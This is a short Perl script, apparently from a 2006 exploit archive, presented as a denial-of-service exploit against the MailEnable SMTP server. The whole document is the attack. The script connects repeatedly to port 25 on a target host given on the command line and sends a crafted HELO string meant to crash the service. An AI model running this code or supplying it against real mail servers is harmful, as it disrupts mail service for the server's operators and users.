Mailenable SMTP DoS exploit. Written in perl.
95c527df25f081068aee77e6e037b29731f34cd6a9405445fbebfd04a347eddf
#!/usr/bin/perl -w
#
# Mailenable SMTP DoS exploit
# 24/06/2006
#
# Filbert at divisionbyzero dot be
#
use Net::Telnet;
$string = "\0x99";
for ($count = 1; $count <= 10; $count++)
{
$telnet = new Net::Telnet ( Timeout=>60, Errmode=>'return',Port=>'25');
$telnet->open($ARGV[0]);use Net::Telnet;
$telnet->print("helo ", $string, "\n");
}
--
www.divisionbyzero.be